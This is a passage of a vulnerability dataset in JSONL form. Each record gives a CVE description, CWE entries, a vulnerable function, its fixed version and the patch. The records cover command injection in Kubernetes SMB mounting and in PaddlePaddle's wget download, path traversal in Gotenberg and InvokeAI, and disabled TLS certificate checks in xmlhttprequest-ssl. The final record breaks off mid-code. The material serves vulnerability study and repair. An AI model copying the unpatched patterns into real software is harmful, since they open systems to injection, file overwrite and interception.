fstype, source, target, options)\n\t\t}\n\n\t\tcmdLine := fmt.Sprintf(`$User = \"%s\";$PWord = ConvertTo-SecureString -String \"%s\" -AsPlainText -Force;`+\n\t\t\t`$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $PWord`,\n\t\t\toptions[0], options[1])\n\n\t\tbindSource = source\n\t\tcmdLine += fmt.Sprintf(\";New-SmbGlobalMapping -RemotePath %s -Credential $Credential\", source)\n\n\t\tif output, err := exec.Command(\"powershell\", \"/c\", cmdLine).CombinedOutput(); err != nil {\n\t\t\treturn fmt.Errorf(\"azureMount: SmbGlobalMapping failed: %v, only SMB mount is supported now, output: %q\", err, string(output))\n\t\t}\n\t}\n\n\tif output, err := exec.Command(\"cmd\", \"/c\", \"mklink\", \"/D\", target, bindSource).CombinedOutput(); err != nil {\n\t\tglog.Errorf(\"mklink failed: %v, source(%q) target(%q) output: %q\", err, bindSource, target, string(output))\n\t\treturn err\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_256_1", "commit": "d65039c56ce4de5f2efdc38aa1284eeb95f89169", "file_path": "pkg/util/mount/mount_windows.go", "start_line": 53, "end_line": 110, "snippet": "func (mounter *Mounter) Mount(source string, target string, fstype string, options []string) error {\n\ttarget = normalizeWindowsPath(target)\n\n\tif source == \"tmpfs\" {\n\t\tglog.V(3).Infof(\"azureMount: mounting source (%q), target (%q), with options (%q)\", source, target, options)\n\t\treturn os.MkdirAll(target, 0755)\n\t}\n\n\tparentDir := filepath.Dir(target)\n\tif err := os.MkdirAll(parentDir, 0755); err != nil {\n\t\treturn err\n\t}\n\n\tglog.V(4).Infof(\"azureMount: mount options(%q) source:%q, target:%q, fstype:%q, begin to mount\",\n\t\toptions, source, target, fstype)\n\tbindSource := \"\"\n\n\t// tell it's going to mount azure disk or azure file according to options\n\tif bind, _ := isBind(options); bind {\n\t\t// mount azure disk\n\t\tbindSource = normalizeWindowsPath(source)\n\t} else {\n\t\tif len(options) < 2 {\n\t\t\tglog.Warningf(\"azureMount: mount options(%q) command number(%d) less than 2, source:%q, target:%q, skip mounting\",\n\t\t\t\toptions, len(options), source, target)\n\t\t\treturn nil\n\t\t}\n\n\t\t// currently only cifs mount is supported\n\t\tif strings.ToLower(fstype) != \"cifs\" {\n\t\t\treturn fmt.Errorf(\"azureMount: only cifs mount is supported now, fstype: %q, mounting source (%q), target (%q), with options (%q)\", fstype, source, target, options)\n\t\t}\n\n\t\tbindSource = source\n\n\t\t// use PowerShell Environment Variables to store user input string to prevent command line injection\n\t\t// https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_environment_variables?view=powershell-5.1\n\t\tcmdLine := fmt.Sprintf(`$PWord = ConvertTo-SecureString -String $Env:smbpassword -AsPlainText -Force` +\n\t\t\t`;$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Env:smbuser, $PWord` +\n\t\t\t`;New-SmbGlobalMapping -RemotePath $Env:smbremotepath -Credential $Credential`)\n\n\t\tcmd := exec.Command(\"powershell\", \"/c\", cmdLine)\n\t\tcmd.Env = append(os.Environ(),\n\t\t\tfmt.Sprintf(\"smbuser=%s\", options[0]),\n\t\t\tfmt.Sprintf(\"smbpassword=%s\", options[1]),\n\t\t\tfmt.Sprintf(\"smbremotepath=%s\", source))\n\t\tif output, err := cmd.CombinedOutput(); err != nil {\n\t\t\treturn fmt.Errorf(\"azureMount: SmbGlobalMapping failed: %v, only SMB mount is supported now, output: %q\", err, string(output))\n\t\t}\n\t}\n\n\tif output, err := exec.Command(\"cmd\", \"/c\", \"mklink\", \"/D\", target, bindSource).CombinedOutput(); err != nil {\n\t\tglog.Errorf(\"mklink failed: %v, source(%q) target(%q) output: %q\", err, bindSource, target, string(output))\n\t\treturn err\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/util/mount/mount_windows.go\n+++ b/pkg/util/mount/mount_windows.go\n@@ -31,14 +31,20 @@\n \t\t\treturn fmt.Errorf(\"azureMount: only cifs mount is supported now, fstype: %q, mounting source (%q), target (%q), with options (%q)\", fstype, source, target, options)\n \t\t}\n \n-\t\tcmdLine := fmt.Sprintf(`$User = \"%s\";$PWord = ConvertTo-SecureString -String \"%s\" -AsPlainText -Force;`+\n-\t\t\t`$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $PWord`,\n-\t\t\toptions[0], options[1])\n+\t\tbindSource = source\n \n-\t\tbindSource = source\n-\t\tcmdLine += fmt.Sprintf(\";New-SmbGlobalMapping -RemotePath %s -Credential $Credential\", source)\n+\t\t// use PowerShell Environment Variables to store user input string to prevent command line injection\n+\t\t// https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_environment_variables?view=powershell-5.1\n+\t\tcmdLine := fmt.Sprintf(`$PWord = ConvertTo-SecureString -String $Env:smbpassword -AsPlainText -Force` +\n+\t\t\t`;$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Env:smbuser, $PWord` +\n+\t\t\t`;New-SmbGlobalMapping -RemotePath $Env:smbremotepath -Credential $Credential`)\n \n-\t\tif output, err := exec.Command(\"powershell\", \"/c\", cmdLine).CombinedOutput(); err != nil {\n+\t\tcmd := exec.Command(\"powershell\", \"/c\", cmdLine)\n+\t\tcmd.Env = append(os.Environ(),\n+\t\t\tfmt.Sprintf(\"smbuser=%s\", options[0]),\n+\t\t\tfmt.Sprintf(\"smbpassword=%s\", options[1]),\n+\t\t\tfmt.Sprintf(\"smbremotepath=%s\", source))\n+\t\tif output, err := cmd.CombinedOutput(); err != nil {\n \t\t\treturn fmt.Errorf(\"azureMount: SmbGlobalMapping failed: %v, only SMB mount is supported now, output: %q\", err, string(output))\n \t\t}\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-52311", "cve_description": "PaddlePaddle before 2.6.0 has a command injection in _wget_download. This resulted in the ability to execute arbitrary commands on the operating system.\n\n\n\n\n\n\n\n", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/PaddlePaddle/Paddle", "patch_url": ["https://github.com/PaddlePaddle/Paddle/commit/c5f6862d118d7d69210f0e73bea1b055f5f21f2b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_218_1", "commit": "e64a054", "file_path": "python/paddle/utils/download.py", "start_line": 199, "end_line": 216, "snippet": "def _wget_download(url, fullname):\n    # using wget to download url\n    tmp_fullname = fullname + \"_tmp\"\n    # \\u2013user-agent\n    command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'\n    subprc = subprocess.Popen(\n        command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n    )\n    _ = subprc.communicate()\n\n    if subprc.returncode != 0:\n        raise RuntimeError(\n            f'{command} failed. Please make sure `wget` is installed or {url} exists'\n        )\n\n    shutil.move(tmp_fullname, fullname)\n\n    return fullname"}], "fix_func": [{"id": "fix_py_218_1", "commit": "c5f6862", "file_path": "python/paddle/utils/download.py", "start_line": 200, "end_line": 226, "snippet": "def _wget_download(url: str, fullname: str):\n    try:\n        assert urlparse(url).scheme in (\n            'http',\n            'https',\n        ), 'Only support https and http url'\n        # using wget to download url\n        tmp_fullname = fullname + \"_tmp\"\n        # \\u2013user-agent\n        command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'\n        subprc = subprocess.Popen(\n            command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n        )\n        _ = subprc.communicate()\n\n        if subprc.returncode != 0:\n            raise RuntimeError(\n                f'{command} failed. Please make sure `wget` is installed or {url} exists'\n            )\n\n        shutil.move(tmp_fullname, fullname)\n\n    except Exception as e:  # requests.exceptions.ConnectionError\n        logger.info(f\"Downloading {url} failed with exception {str(e)}\")\n        return False\n\n    return fullname"}], "vul_patch": "--- a/python/paddle/utils/download.py\n+++ b/python/paddle/utils/download.py\n@@ -1,18 +1,27 @@\n-def _wget_download(url, fullname):\n-    # using wget to download url\n-    tmp_fullname = fullname + \"_tmp\"\n-    # \\u2013user-agent\n-    command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'\n-    subprc = subprocess.Popen(\n-        command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n-    )\n-    _ = subprc.communicate()\n+def _wget_download(url: str, fullname: str):\n+    try:\n+        assert urlparse(url).scheme in (\n+            'http',\n+            'https',\n+        ), 'Only support https and http url'\n+        # using wget to download url\n+        tmp_fullname = fullname + \"_tmp\"\n+        # \\u2013user-agent\n+        command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'\n+        subprc = subprocess.Popen(\n+            command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n+        )\n+        _ = subprc.communicate()\n \n-    if subprc.returncode != 0:\n-        raise RuntimeError(\n-            f'{command} failed. Please make sure `wget` is installed or {url} exists'\n-        )\n+        if subprc.returncode != 0:\n+            raise RuntimeError(\n+                f'{command} failed. Please make sure `wget` is installed or {url} exists'\n+            )\n \n-    shutil.move(tmp_fullname, fullname)\n+        shutil.move(tmp_fullname, fullname)\n+\n+    except Exception as e:  # requests.exceptions.ConnectionError\n+        logger.info(f\"Downloading {url} failed with exception {str(e)}\")\n+        return False\n \n     return fullname\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-13450", "cve_description": "A directory traversal vulnerability in file upload function of Gotenberg through 6.2.1 allows an attacker to upload and overwrite any writable files outside the intended folder. This can lead to DoS, a change to program behavior, or code execution.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/thecodingmachine/gotenberg", "patch_url": ["https://github.com/thecodingmachine/gotenberg/commit/542fe18dcd9ba8c6af07a580cff024c7052aae64"], "programing_language": "Go", "vul_func": [{"id": "vul_go_257_1", "commit": "25f18ac951013531a37e0539913565ae59348255", "file_path": "internal/app/xhttp/pkg/context/context.go", "start_line": 74, "end_line": 122, "snippet": "func (ctx *Context) WithResource(directoryName string) error {\n\tconst op string = \"context.Context.WithResource\"\n\tresolver := func() (resource.Resource, error) {\n\t\tr, err := resource.New(ctx.logger, directoryName)\n\t\tif err != nil {\n\t\t\treturn r, err\n\t\t}\n\t\t// retrieve custom headers from request.\n\t\tfor key, value := range ctx.Request().Header {\n\t\t\tr.WithCustomHTTPHeader(key, value[0])\n\t\t}\n\t\t// retrieve form values from request.\n\t\tfor _, key := range resource.ArgKeys() {\n\t\t\tr.WithArg(key, ctx.FormValue(string(key)))\n\t\t}\n\t\t// write form files from request.\n\t\tform, err := ctx.MultipartForm()\n\t\tif err != nil {\n\t\t\t/*\n\t\t\t\t(very) special case: one and\n\t\t\t\tonly one file has been sent\n\t\t\t\tand it is empty.\n\t\t\t*/\n\t\t\tif strings.Contains(err.Error(), io.EOF.Error()) {\n\t\t\t\treturn r, xerror.Invalid(op, \"one file has been sent but it is empty: does it exist?\", err)\n\t\t\t}\n\t\t\treturn r, err\n\t\t}\n\t\tfor _, files := range form.File {\n\t\t\tfor _, fh := range files {\n\t\t\t\tin, err := fh.Open()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn r, err\n\t\t\t\t}\n\t\t\t\tdefer in.Close() // nolint: errcheck\n\t\t\t\tif err := r.WithFile(fh.Filename, in); err != nil {\n\t\t\t\t\treturn r, err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn r, nil\n\t}\n\tresource, err := resolver()\n\tctx.resource = resource\n\tif err != nil {\n\t\treturn xerror.New(op, err)\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_257_1", "commit": "542fe18dcd9ba8c6af07a580cff024c7052aae64", "file_path": "internal/app/xhttp/pkg/context/context.go", "start_line": 75, "end_line": 125, "snippet": "func (ctx *Context) WithResource(directoryName string) error {\n\tconst op string = \"context.Context.WithResource\"\n\tresolver := func() (resource.Resource, error) {\n\t\tr, err := resource.New(ctx.logger, directoryName)\n\t\tif err != nil {\n\t\t\treturn r, err\n\t\t}\n\t\t// retrieve custom headers from request.\n\t\tfor key, value := range ctx.Request().Header {\n\t\t\tr.WithCustomHTTPHeader(key, value[0])\n\t\t}\n\t\t// retrieve form values from request.\n\t\tfor _, key := range resource.ArgKeys() {\n\t\t\tr.WithArg(key, ctx.FormValue(string(key)))\n\t\t}\n\t\t// write form files from request.\n\t\tform, err := ctx.MultipartForm()\n\t\tif err != nil {\n\t\t\t/*\n\t\t\t\t(very) special case: one and\n\t\t\t\tonly one file has been sent\n\t\t\t\tand it is empty.\n\t\t\t*/\n\t\t\tif strings.Contains(err.Error(), io.EOF.Error()) {\n\t\t\t\treturn r, xerror.Invalid(op, \"one file has been sent but it is empty: does it exist?\", err)\n\t\t\t}\n\t\t\treturn r, err\n\t\t}\n\t\tfor _, files := range form.File {\n\t\t\tfor _, fh := range files {\n\t\t\t\tin, err := fh.Open()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn r, err\n\t\t\t\t}\n\t\t\t\tdefer in.Close() // nolint: errcheck\n\t\t\t\t// avoid directory traversal.\n\t\t\t\tfilename := filepath.Base(fh.Filename)\n\t\t\t\tif err := r.WithFile(filename, in); err != nil {\n\t\t\t\t\treturn r, err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn r, nil\n\t}\n\tresource, err := resolver()\n\tctx.resource = resource\n\tif err != nil {\n\t\treturn xerror.New(op, err)\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/internal/app/xhttp/pkg/context/context.go\n+++ b/internal/app/xhttp/pkg/context/context.go\n@@ -33,7 +33,9 @@\n \t\t\t\t\treturn r, err\n \t\t\t\t}\n \t\t\t\tdefer in.Close() // nolint: errcheck\n-\t\t\t\tif err := r.WithFile(fh.Filename, in); err != nil {\n+\t\t\t\t// avoid directory traversal.\n+\t\t\t\tfilename := filepath.Base(fh.Filename)\n+\t\t\t\tif err := r.WithFile(filename, in); err != nil {\n \t\t\t\t\treturn r, err\n \t\t\t\t}\n \t\t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-11042", "cve_description": "In invoke-ai/invokeai version v5.0.2, the web API `POST /api/v1/images/delete` is vulnerable to Arbitrary File Deletion. This vulnerability allows unauthorized attackers to delete arbitrary files on the server, potentially including critical or sensitive system files such as SSH keys, SQLite databases, and configuration files. This can impact the integrity and availability of applications relying on these files.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/invoke-ai/invokeai", "patch_url": ["https://github.com/invoke-ai/invokeai/commit/5440c037674882b2ab7acd59087e9bb04b49657a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_247_1", "commit": "358dbdb", "file_path": "invokeai/app/services/image_files/image_files_disk.py", "start_line": 114, "end_line": 121, "snippet": "    def get_path(self, image_name: str, thumbnail: bool = False) -> Path:\n        path = self.__output_folder / image_name\n\n        if thumbnail:\n            thumbnail_name = get_thumbnail_name(image_name)\n            path = self.__thumbnails_folder / thumbnail_name\n\n        return path"}], "fix_func": [{"id": "fix_py_247_1", "commit": "5440c03", "file_path": "invokeai/app/services/image_files/image_files_disk.py", "start_line": 113, "end_line": 132, "snippet": "    def get_path(self, image_name: str, thumbnail: bool = False) -> Path:\n        base_folder = self.__thumbnails_folder if thumbnail else self.__output_folder\n        filename = get_thumbnail_name(image_name) if thumbnail else image_name\n\n        # Strip any path information from the filename\n        basename = Path(filename).name\n\n        if basename != filename:\n            raise ValueError(\"Invalid image name, potential directory traversal detected\")\n\n        image_path = base_folder / basename\n\n        # Ensure the image path is within the base folder to prevent directory traversal\n        resolved_base = base_folder.resolve()\n        resolved_image_path = image_path.resolve()\n\n        if not resolved_image_path.is_relative_to(resolved_base):\n            raise ValueError(\"Image path outside outputs folder, potential directory traversal detected\")\n\n        return resolved_image_path"}], "vul_patch": "--- a/invokeai/app/services/image_files/image_files_disk.py\n+++ b/invokeai/app/services/image_files/image_files_disk.py\n@@ -1,8 +1,20 @@\n     def get_path(self, image_name: str, thumbnail: bool = False) -> Path:\n-        path = self.__output_folder / image_name\n+        base_folder = self.__thumbnails_folder if thumbnail else self.__output_folder\n+        filename = get_thumbnail_name(image_name) if thumbnail else image_name\n \n-        if thumbnail:\n-            thumbnail_name = get_thumbnail_name(image_name)\n-            path = self.__thumbnails_folder / thumbnail_name\n+        # Strip any path information from the filename\n+        basename = Path(filename).name\n \n-        return path\n+        if basename != filename:\n+            raise ValueError(\"Invalid image name, potential directory traversal detected\")\n+\n+        image_path = base_folder / basename\n+\n+        # Ensure the image path is within the base folder to prevent directory traversal\n+        resolved_base = base_folder.resolve()\n+        resolved_image_path = image_path.resolve()\n+\n+        if not resolved_image_path.is_relative_to(resolved_base):\n+            raise ValueError(\"Image path outside outputs folder, potential directory traversal detected\")\n+\n+        return resolved_image_path\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-31597", "cve_description": "The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.", "cwe_info": {"CWE-295": {"name": "Improper Certificate Validation", "description": "The product does not validate, or incorrectly validates, a certificate."}}, "repo": "https://github.com/mjwwit/node-XMLHttpRequest", "patch_url": ["https://github.com/mjwwit/node-XMLHttpRequest/commit/bf53329b61ca6afc5d28f6b8d2dc2e3ca740a9b2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_97_1", "commit": "ae38832", "file_path": "lib/XMLHttpRequest.js", "start_line": "284", "end_line": "555", "snippet": "  this.send = function(data) {\n    if (this.readyState != this.OPENED) {\n      throw new Error(\"INVALID_STATE_ERR: connection must be opened before send() is called\");\n    }\n\n    if (sendFlag) {\n      throw new Error(\"INVALID_STATE_ERR: send has already been called\");\n    }\n\n    var ssl = false, local = false;\n    var url = Url.parse(settings.url);\n    var host;\n    // Determine the server\n    switch (url.protocol) {\n      case 'https:':\n        ssl = true;\n        // SSL & non-SSL both need host, no break here.\n      case 'http:':\n        host = url.hostname;\n        break;\n\n      case 'file:':\n        local = true;\n        break;\n\n      case undefined:\n      case '':\n        host = \"localhost\";\n        break;\n\n      default:\n        throw new Error(\"Protocol not supported.\");\n    }\n\n    // Load files off the local filesystem (file://)\n    if (local) {\n      if (settings.method !== \"GET\") {\n        throw new Error(\"XMLHttpRequest: Only GET method is supported\");\n      }\n\n      if (settings.async) {\n        fs.readFile(url.pathname, 'utf8', function(error, data) {\n          if (error) {\n            self.handleError(error);\n          } else {\n            self.status = 200;\n            self.responseText = data;\n            setState(self.DONE);\n          }\n        });\n      } else {\n        try {\n          this.responseText = fs.readFileSync(url.pathname, 'utf8');\n          this.status = 200;\n          setState(self.DONE);\n        } catch(e) {\n          this.handleError(e);\n        }\n      }\n\n      return;\n    }\n\n    // Default to port 80. If accessing localhost on another port be sure\n    // to use http://localhost:port/path\n    var port = url.port || (ssl ? 443 : 80);\n    // Add query string if one is used\n    var uri = url.pathname + (url.search ? url.search : '');\n\n    // Set the Host header or the server may reject the request\n    headers[\"Host\"] = host;\n    if (!((ssl && port === 443) || port === 80)) {\n      headers[\"Host\"] += ':' + url.port;\n    }\n\n    // Set Basic Auth if necessary\n    if (settings.user) {\n      if (typeof settings.password == \"undefined\") {\n        settings.password = \"\";\n      }\n      var authBuf = new Buffer(settings.user + \":\" + settings.password);\n      headers[\"Authorization\"] = \"Basic \" + authBuf.toString(\"base64\");\n    }\n\n    // Set content length header\n    if (settings.method === \"GET\" || settings.method === \"HEAD\") {\n      data = null;\n    } else if (data) {\n      headers[\"Content-Length\"] = Buffer.isBuffer(data) ? data.length : Buffer.byteLength(data);\n\n      if (!headers[\"Content-Type\"]) {\n        headers[\"Content-Type\"] = \"text/plain;charset=UTF-8\";\n      }\n    } else if (settings.method === \"POST\") {\n      // For a post with no data set Content-Length: 0.\n      // This is required by buggy servers that don't meet the specs.\n      headers[\"Content-Length\"] = 0;\n    }\n\n    var agent = opts.agent || false;\n    var options = {\n      host: host,\n      port: port,\n      path: uri,\n      method: settings.method,\n      headers: headers,\n      agent: agent\n    };\n\n    if (ssl) {\n      options.pfx = opts.pfx;\n      options.key = opts.key;\n      options.passphrase = opts.passphrase;\n      options.cert = opts.cert;\n      options.ca = opts.ca;\n      options.ciphers = opts.ciphers;\n      options.rejectUnauthorized = opts.rejectUnauthorized;\n    }\n\n    // Reset error flag\n    errorFlag = false;\n    // Handle async requests\n    if (settings.async) {\n      // Use the proper protocol\n      var doRequest = ssl ? https.request : http.request;\n\n      // Request is being sent, set send flag\n      sendFlag = true;\n\n      // As per spec, this is called here for historical reasons.\n      self.dispatchEvent(\"readystatechange\");\n\n      // Handler for the response\n      var responseHandler = function(resp) {\n        // Set response var to the response we got back\n        // This is so it remains accessable outside this scope\n        response = resp;\n        // Check for redirect\n        // @TODO Prevent looped redirects\n        if (response.statusCode === 302 || response.statusCode === 303 || response.statusCode === 307) {\n          // Change URL to the redirect location\n          settings.url = response.headers.location;\n          var url = Url.parse(settings.url);\n          // Set host var in case it's used later\n          host = url.hostname;\n          // Options for the new request\n          var newOptions = {\n            hostname: url.hostname,\n            port: url.port,\n            path: url.path,\n            method: response.statusCode === 303 ? 'GET' : settings.method,\n            headers: headers\n          };\n\n          if (ssl) {\n            newOptions.pfx = opts.pfx;\n            newOptions.key = opts.key;\n            newOptions.passphrase = opts.passphrase;\n            newOptions.cert = opts.cert;\n            newOptions.ca = opts.ca;\n            newOptions.ciphers = opts.ciphers;\n            newOptions.rejectUnauthorized = opts.rejectUnauthorized;\n          }\n\n          // Issue the new request\n          request = doRequest(newOptions, responseHandler).on('error', errorHandler);\n          request.end();\n          // @TODO Check if an XHR event needs to be fired here\n          return;\n        }\n\n        if (response && response.setEncoding) {\n          response.setEncoding(\"utf8\");\n        }\n\n        setState(self.HEADERS_RECEIVED);\n        self.status = response.statusCode;\n\n        response.on('data', function(chunk) {\n          // Make sure there's some data\n          if (chunk) {\n            self.responseText += chunk;\n          }\n          // Don't emit state changes if the connection has been aborted.\n          if (sendFlag) {\n            setState(self.LOADING);\n          }\n        });\n\n        response.on('end', function() {\n          if (sendFlag) {\n            // The sendFlag needs to be set before setState is called.  Otherwise if we are chaining callbacks\n            // there can be a timing issue (the callback is called and a new call is made before the flag is reset).\n            sendFlag = false;\n            // Discard the 'end' event if the connection has been aborted\n            setState(self.DONE);\n          }\n        });\n\n        response.on('error', function(error) {\n          self.handleError(error);\n        });\n      }\n\n      // Error handler for the request\n      var errorHandler = function(error) {\n        self.handleError(error);\n      }\n\n      // Create the request\n      request = doRequest(options, responseHandler).on('error', errorHandler);\n\n      // Node 0.4 and later won't accept empty data. Make sure it's needed.\n      if (data) {\n        request.write(data);\n      }\n\n      request.end();\n\n      self.dispatchEvent(\"loadstart\");\n    } else { // Synchronous\n      // Create a temporary file for communication with the other Node process\n      var contentFile = \".node-xmlhttprequest-content-\" + process.pid;\n      var syncFile = \".node-xmlhttprequest-sync-\" + process.pid;\n      fs.writeFileSync(syncFile, \"\", \"utf8\");\n      // The async request the other Node process executes\n      var execString = \"var http = require('http'), https = require('https'), fs = require('fs');\"\n        + \"var doRequest = http\" + (ssl ? \"s\" : \"\") + \".request;\"\n        + \"var options = \" + JSON.stringify(options) + \";\"\n        + \"var responseText = '';\"\n        + \"var req = doRequest(options, function(response) {\"\n        + \"response.setEncoding('utf8');\"\n        + \"response.on('data', function(chunk) {\"\n        + \"  responseText += chunk;\"\n        + \"});\"\n        + \"response.on('end', function() {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-STATUS:' + response.statusCode + ',' + responseText, 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"response.on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"}).on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + (data ? \"req.write('\" + data.replace(/'/g, \"\\\\'\") + \"');\":\"\")\n        + \"req.end();\";\n      // Start the other Node Process, executing this string\n      var syncProc = spawn(process.argv[0], [\"-e\", execString]);\n      var statusText;\n      while(fs.existsSync(syncFile)) {\n        // Wait while the sync file is empty\n      }\n      self.responseText = fs.readFileSync(contentFile, 'utf8');\n      // Kill the child process once the file has data\n      syncProc.stdin.end();\n      // Remove the temporary file\n      fs.unlinkSync(contentFile);\n      if (self.responseText.match(/^NODE-XMLHTTPREQUEST-ERROR:/)) {\n        // If the file returned an error, handle it\n        var errorObj = self.responseText.replace(/^NODE-XMLHTTPREQUEST-ERROR:/, \"\");\n        self.handleError(errorObj, 503);\n      } else {\n        // If the file returned okay, parse its data and move to the DONE state\n        self.status = self.responseText.replace(/^NODE-XMLHTTPREQUEST-STATUS:([0-9]*),.*/, \"$1\");\n        self.responseText = self.responseText.replace(/^NODE-XMLHTTPREQUEST-STATUS:[0-9]*,(.*)/, \"$1\");\n        setState(self.DONE);\n      }\n    }\n  };"}], "fix_func": [{"id": "fix_js_97_1", "commit": "bf53329", "file_path": "lib/XMLHttpRequest.js", "start_line": "284", "end_line": "555", "snippet": "  this.send = function(data) {\n    if (this.readyState != this.OPENED) {\n      throw new Error(\"INVALID_STATE_ERR: connection must be opened before send() is called\");\n    }\n\n    if (sendFlag) {\n      throw new Error(\"INVALID_STATE_ERR: send has already been called\");\n    }\n\n    var ssl = false, local = false;\n    var url = Url.parse(settings.url);\n    var host;\n    // Determine the server\n    switch (url.protocol) {\n      case 'https:':\n        ssl = true;\n        // SSL & non-SSL both need host, no break here.\n      case 'http:':\n        host = url.hostname;\n        break;\n\n      case 'file:':\n        local = true;\n        break;\n\n      case undefined:\n      case '':\n        host = \"localhost\";\n        break;\n\n      default:\n        throw new Error(\"Protocol not supported.\");\n    }\n\n    // Load files off the local filesystem (file://)\n    if (local) {\n      if (settings.method !== \"GET\") {\n        throw new Error(\"XMLHttpRequest: Only GET method is supported\");\n      }\n\n      if (settings.async) {\n        fs.readFile(url.pathname, 'utf8', function(error, data) {\n          if (error) {\n            self.handleError(error);\n          } else {\n            self.status = 200;\n            self.responseText = data;\n            setState(self.DONE);\n          }\n        });\n      } else {\n        try {\n          this.responseText = fs.readFileSync(url.pathname, 'utf8');\n          this.status = 200;\n          setState(self.DONE);\n        } catch(e) {\n          this.handleError(e);\n        }\n      }\n\n      return;\n    }\n\n    // Default to port 80. If accessing localhost on another port be sure\n    // to use http://localhost:port/path\n    var port = url.port || (ssl ? 443 : 80);\n    // Add query string if one is used\n    var uri = url.pathname + (url.search ? url.search : '');\n\n    // Set the Host header or the server may reject the request\n    headers[\"Host\"] = host;\n    if (!((ssl && port === 443) || port === 80)) {\n      headers[\"Host\"] += ':' + url.port;\n    }\n\n    // Set Basic Auth if necessary\n    if (settings.user) {\n      if (typeof settings.password == \"undefined\") {\n        settings.password = \"\";\n      }\n      var authBuf = new Buffer(settings.user + \":\" + settings.password);\n      headers[\"Authorization\"] = \"Basic \" + authBuf.toString(\"base64\");\n    }\n\n    // Set content length header\n    if (settings.method === \"GET\" || settings.method === \"HEAD\") {\n      data = null;\n    } else if (data) {\n      headers[\"Content-Length\"] = Buffer.isBuffer(data) ? data.length : Buffer.byteLength(data);\n\n      if (!headers[\"Content-Type\"]) {\n        headers[\"Content-Type\"] = \"text/plain;charset=UTF-8\";\n      }\n    } else if (settings.method === \"POST\") {\n      // For a post with no data set Content-Length: 0.\n      // This is required by buggy servers that don't meet the specs.\n      headers[\"Content-Length\"] = 0;\n    }\n\n    var agent = opts.agent || false;\n    var options = {\n      host: host,\n      port: port,\n      path: uri,\n      method: settings.method,\n      headers: headers,\n      agent: agent\n    };\n\n    if (ssl) {\n      options.pfx = opts.pfx;\n      options.key = opts.key;\n      options.passphrase = opts.passphrase;\n      options.cert = opts.cert;\n      options.ca = opts.ca;\n      options.ciphers = opts.ciphers;\n      options.rejectUnauthorized = opts.rejectUnauthorized === false ? false : true;\n    }\n\n    // Reset error flag\n    errorFlag = false;\n    // Handle async requests\n    if (settings.async) {\n      // Use the proper protocol\n      var doRequest = ssl ? https.request : http.request;\n\n      // Request is being sent, set send flag\n      sendFlag = true;\n\n      // As per spec, this is called here for historical reasons.\n      self.dispatchEvent(\"readystatechange\");\n\n      // Handler for the response\n      var responseHandler = function(resp) {\n        // Set response var to the response we got back\n        // This is so it remains accessable outside 